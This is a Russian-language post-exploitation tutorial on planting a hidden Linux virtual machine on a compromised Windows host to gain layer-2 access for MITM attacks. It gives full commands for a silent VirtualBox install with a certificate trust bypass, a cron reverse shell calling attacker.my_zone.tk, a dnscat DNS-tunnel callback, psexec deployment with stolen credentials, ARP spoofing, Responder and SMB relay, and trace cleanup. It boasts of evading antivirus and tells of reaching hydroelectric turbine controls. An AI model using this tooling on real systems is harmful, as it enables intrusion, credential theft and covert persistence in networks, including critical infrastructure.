Как организовать MITM атаку на Windows с помощью Linux.

Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу, который работает на Windows. Но что дальше? Нужно двигаться по инфраструктуре — от DMZ до контроллера домена или до технологической сети и управления турбинами!

Или что мы уже давно в локальной сети, но захватить контроль над каким-либо сервером не получается — все обновления установлены и нет никаких зацепок, кроме скомпрометированных машин в ее VLAN.

И в том и в другом случае атакующий — это интерфейс прямо в VLAN скомпрометированной машины, да еще и на уровне L2. Тем самым мы превратили бы подконтрольный нам хост с Windows в некий шлюз и избавили бы себя от необходимости ставить специальное ПО для сканирования сети и разного рода сетевых атак.

У доступа L2 есть ряд дополнительных преимуществ. Мы можем проводить:

• MITM-атаки, эксплуатируя слабости протокола Ethernet (arpspoof);
• атаки на NetBIOS (responder);
• атаки на IPv6 (mitm6).

MITM-атаки — один из самых мощных приемов против локальных сетей, построенных по технологии Ethernet. Этот тип атак открывает широкие горизонты и позволяет брать совсем неприступные с виду хосты, просто прослушивая их сетевой трафик на предмет наличия в нем учетных данных либо как-то модифицируя его.

Так уж сложилось, что большинство хостов в локальных сетях работают на Windows. И так уж сложилось, что Windows, мягко говоря, не лучшая платформа для атак. Здесь нельзя полноценно реализовать IP forwarding, поэтому атака подобного рода грозит тем, что будет парализована работа всего сетевого сегмента.

Другие способы провернуть тоже непросто. Например, можно было бы настроить OpenVPN и сетевой мост, но настройка моста из командной строки в Windows реализована плохо, и, изменив настройки, скорее всего, ты безвозвратно потеряешь доступ.

Реализация MITM атаки

Разумеется, для полноценной постэксплуатации потребуются административные полномочия.

В качестве виртуальной машины, в которой мы будем запускать Linux на скомпрометированном хосте, я предлагаю использовать VirtualBox, поскольку она:

• может быть установлена в тихом режиме;
• поставляется с крайне функциональным CLI-инструментом VBoxManage;
• может работать на старом железе без аппаратной виртуализации;
• позволяет запустить виртуальную машину в фоне.

На первый взгляд такое решение может показаться немного громоздким, но, с другой стороны, у него есть свои плюсы:

• такой подход никак не палится антивирусом, ведь мы используем только легитимное ПО;
• не требуется ничего делать через графический интерфейс, достаточно psexec, webshell или netcat;
• будет работать на всех Windows от XP/2003 до 10/2019;
• метод достаточно чист в плане следов — все действия происходят в файловой системе виртуальной машины.

Главным же минусом будет необходимость копировать около 500 Мбайт файлов. Но зачастую это не особенно большая проблема.

Но сразу должен тебя предупредить, что есть случай, когда эта техника не сработает. Если скомпрометированная система — это уже виртуальная машина, то вполне может быть, что в ее настройках отключен неразборчивый режим для сетевой карты. Это может привести к тому, что сетевые пакеты не будут заходить в нашу виртуальную машину.

Делаем гостевую систему

В качестве гостевой ОС есть смысл рассматривать два варианта:

• Kali Linux с полноценным набором хакерского софта;
• минималистичный дистрибутив с OpenVPN, который будет играть роль шлюза.

С первым вариантом все просто — скачал и запустил. В Kali почти наверняка будет весь необходимый арсенал.

Но мы вместо того, чтобы закидывать в эту виртуалку весь любимый софт, соберем свою с чистого листа и превратим в шлюз, который предоставит нам комфортный L2-доступ к атакованному хосту из любой точки мира.

Так мы сэкономим 1–2 Гбайт места, так как весь ][-софт будет запускаться с машины атакующего, да и антивирус в таком случае ничего не увидит.

Чтобы сделать дистрибутив минималистичным, потребуется создать его, что называется, from scratch. Наиболее переносимым вариантом будет 32-битная система.

Создаем образ, который впоследствии будем наполнять:

truncate -s 1G linux.img

Мы указали размер образа с запасом в 1 Гбайт, в дальнейшем формат VDI сожмет пустоты.

Создаем разметку диска — один логический раздел:

Создаем файловую систему и монтируем готовый раздел:

sudo losetup -o $[2048*512] /dev/loop0 linux.img
sudo mkfs.ext4 /dev/loop0
sudo mount /dev/loop0 /mnt/

Скачиваем минимальный набор user-space:

sudo debootstrap --arch=i386 --variant=minbase stable /mnt/ http://http.us.debian.org/debian

Теперь осталось собрать ядро:

cd /usr/src/linux-5.5.1/

Создаем дефолтную конфигурацию ядра:

make ARCH=i386 defconfig

Также нам потребуется несколько дополнительных модулей:

make ARCH=i386 menuconfig

• Сперва самое главное — поддержка сетевого моста (bridge): Networking support → Networking options → 802.1d Ethernet Bridging.
• Поддержка виртуальных интерфейсов (tun) тоже потребуется: Device Drivers → Network device support → Network core driver support → Universal TUN/TAP device driver support.
• Помимо OpenVPN, туннель можно построить и через GRE (опционально): Networking support → Networking options → TCP/IP networking → The IPv6 protocol → IPv6: GRE tunnel.
• Для построения PPP-туннелей в одну команду (тоже опционально): Device Drivers → Network device support → PPP (point-to-point protocol) support.

Собираем ядро:

make ARCH=i386 prepare
make ARCH=i386 scripts
make ARCH=i386 bzImage

Собираем модули:

make ARCH=i386 modules

После того как все собралось, копируем ядро и модули:

make INSTALL_PATH=/mnt/boot install
make INSTALL_MOD_PATH=/mnt/ modules_install

Остался RAM-диск. Его, если хост-система 64-битная, лучше собрать на 32-битной системе. Только что скачанное через debootstrap окружение идеально подходит для этого:

chroot /mnt/
mkinitramfs -k -o /boot/initrd.img-5.5.0 5.5.0
apt remove initramfs-tools-core && apt autoremove
exit

И последнее — загрузчик ОС.

grub-install --target=i386-pc --boot-directory=/mnt/boot/ linux.img --modules='part_msdos'

Пропишем опции для загрузки:

mnt/boot/grub/grub.cfg

set timeout=5
menuentry "Debian Linux" {
  linux /boot/vmlinuz-5.5.0 root=/dev/sda1 rw
  initrd /boot/initrd.img-5.5.0
}

Готово. Мы получили полностью работоспособную ОС. Теперь нужно слегка настроить ее. Снова заходим в файловую систему:

chroot /mnt/

Сперва настроим SSH, без этого никуда:

apt install openssh-server
update-rc.d ssh enable 2 3 4 5

Не забываем указать пароль для root:

passwd root

Теперь очередь сервера OpenVPN, через который и предполагается организовывать себе доступ:

apt install openvpn

Опустим этап генерации сертификатов и ключей для OpenVPN. Итоговый конфиг для серверной стороны должен выглядеть так:

local 10.10.10.10
port 1194
proto tcp
dev tap

user nobody
group nogroup

<ca>
...
</ca>

<cert>
...
</cert>

<key>
...
</key>

<dh>
...
</dh>

cipher AES-128-CBC
comp-lzo

server-bridge 10.10.10.10 255.255.255.0 10.10.10.40 10.10.10.50
script-security 2
up /etc/openvpn/up.sh
down /etc/openvpn/down.sh

persist-key
persist-tun

Здесь up.sh и down.sh — это скрипты, которые должны добавлять интерфейс VPN в сетевой мост.

/etc/openvpn/up.sh

#!/bin/sh
/usr/sbin/brctl addif br0 "$1"
/usr/sbin/ifconfig "$1" up

/etc/openvpn/down.sh

#!/bin/sh
/usr/sbin/brctl delif br0 "$1"
/usr/sbin/ifconfig "$1" down

Дополнительно я для себя добавил клиент OpenVPN для подключения к VDS, который поднимется сразу после запуска виртуалки и позволит подключаться откуда угодно.

Также на случай, если виртуалка поднимается в фильтруемом сетевом сегменте, я предусмотрел обратный шелл. Прописываем в cron:

* * * * * /bin/nc -e /bin/bash attacker.my_zone.tk 8888

А на случай, если нет интернета, но есть эксфильтрация DNS (что бывает очень часто), прописываем в cron еще такую строку:

* * * * * /bin/ping -c 1 dnsshell.my_zone.tk 1> /dev/null 2> /dev/null && /usr/local/bin/dnscat dnscat.my_zone.tk

И в том и в другом случае, контролируя свою зону DNS через attacker.my_zone.tk и dnscat.my_zone.tk, можно управлять поведением реверс-шеллов.

Теперь осталось очистить базу dpkg, так мы освободим 50 Мбайт места:

apt clean

И отмонтируем готовую ФС:

umount /mnt
losetup -d /dev/loop0

Последний штрих — создание образа для VirtualBox. Предварительно сконвертируем его в формат VDI:

qemu-img convert -O vdi linux.img linux.vdi

Все готово. Теперь импортируем диск в VirtualBox, указываем количество процессоров и оперативки (все по минимуму) и на выходе получаем готовый файл linux.ova, который можно будет импортировать на любом хосте без лишних вопросов.

В итоге весь образ занял у меня 341 Мбайт.

Тихая установка и запуск VirtualBox

Скачиваем дистрибутив VirtualBox. Я взял версию 5.2.6-120293, она должна работать в любой Windows с XP по 10.

Чтобы установить ее в тихом режиме, потребуется достать установочные пакеты .msi:

virtualbox-5.2.6-120293-Win.exe -extract

В папке %USER%\appdata\local\temp\virtualbox\ будут лежать все необходимые для установки файлы:

• VirtualBox-5.2.6-MultiArch_amd64.msi
• VirtualBox-5.2.6-r120293-MultiArch_x86.msi
• common.cab

Также потребуется достать сертификат из любого драйвера VirtualBox, чтобы перед установкой добавить его в trusted и обойти тем самым окно с уведомлением о левом драйвере.

Для удобства вот батник, который деплоит все, что нужно, в скрытом режиме:

pushd %~dp0
certutil -addstore TrustedPublisher cert.cer
dir "\prog*86)" > nul 2> nul && (
  msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || (
  msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
)
ping -n 300 127.0.0.1 >nul
c:\post\vboxmanage import linux.ova --options keepallmacs

c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (
  echo c:\post\vboxmanage modifyvm linux32 --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat
  echo c:\post\vboxmanage modifyvm linux32 --nicpromisc!c! allow-all >> out.bat
  set /a c=c+1
)
chcp 1251
call out.bat
chcp 866
c:\post\vboxmanage modifyvm linux32 --pae on
c:\post\vboxmanage startvm linux32 --type headless

Деплой на удаленном хосте

Последний этап, который мы рассмотрим, — это запуск нашей виртуальной машины на захваченной машине с Windows.

Для начала копируем все и запускаем:

cd /usr/share/windows-binaries/vbox/
smbclient -U user%pass //owned_host -c "mkdir post; cd post; put cert.cer; put common.cab; put install.bat; put linux.ova; put VirtualBox-5.2.6-r120293-MultiArch_amd64.msi; put VirtualBox-5.2.6-r120293-MultiArch_x86.msi"
psexec.py user:pass@owned_host "start c:\post\install.bat"

Ждем пять минут, и если все пошло хорошо, то в требуемом сетевом сегменте появится новый хост с открытым 22-м портом, куда мы сможем зайти:

ssh root@vbox_vm

Дальше помещаем нужный сетевой интерфейс в мост:

brctl addbr br0; brctl addif br0 enp0s3; ifconfig enp0s3 0 promisc; ifconfig br0 10.10.10.10/24; route add -net default gw 10.10.10.1

Важно все сделать одной командой, чтобы не потерять связь.

Скорректируем выданный виртуалке IP-адрес в /etc/openvpn/server.conf, после чего запускаем его:

openvpn --config server.conf

Далее уже на своей основной системе (с Linux, конечно же) делаем

openvpn --config client.conf

И получаем интерфейс tap0, словно мы подключены патч-кордом в VLAN скомпрометированной системы. Здесь уже можем творить все, что захотим:

ettercap -i tap0 -Tq -o -M arp:remote /gateway// /dc//
responder -I tap0 -r -d -w -F
netcreds -i tap0
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 445 -j REDIRECT --to-ports 445
smbrelayx.py -h target -e shell.exe
iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 80 -j REDIRECT --to-ports 10000
mitmf -i tap0 --smbauth

И многое, многое другое.

В итоге благодаря магии виртуализации и сетевых туннелей мы открыли портал в сетевой сегмент скомпрометированной системы и тем самым выжали максимум пользы во время постэксплуатации. Теперь мощь всех инструментов, реализованных главным образом в Linux, обрушит неприступность практически любой, даже полностью пропатченной и защищенной на первый взгляд системы.

Уходим красиво

Когда придет время заметать следы, выключаем и удаляем виртуалку, удаляем VirtualBox, убираем сертификат, удаляем все файлы:

vboxmanage controlvm linux32 poweroff
vboxmanage unregistervm linux32 --delete
wmic product where name="Oracle VM VirtualBox 5.2.6" call uninstall /nointeractive
certutil -delstore TrustedPublisher cert.cer
rmdir /s /q c:\post

Никаких следов. Почти.

Пример из жизни

Напоследок — пример из практики, благодаря которому и родилась описанная идея.

Однажды на реальном внутреннем пентесте мы оказались в шаге от получения доступа к управлению турбинами гидроэлектростанции. Вся загвоздка заключалась в том, что управляющий ПК не состоял в домене (так часто бывает с технологическими компонентами) и не содержал никаких актуальных уязвимостей.

Единственным шансом была MITM-атака или через ARP spoofing или частичная через NetBios spoofing. Однако во всем сетевом сегменте не было серверов с Linux, пригодных для эксплуатации MITM-атак, а доступ был лишь на несколько смежных рабочих станций с Windows. И тогда мы провернули описанную выше процедуру (правда, в качестве гостевой ОС запустили Kali).

В результате минут через пятнадцать у нас была учетка локального администратора и доступ в технологическую сеть.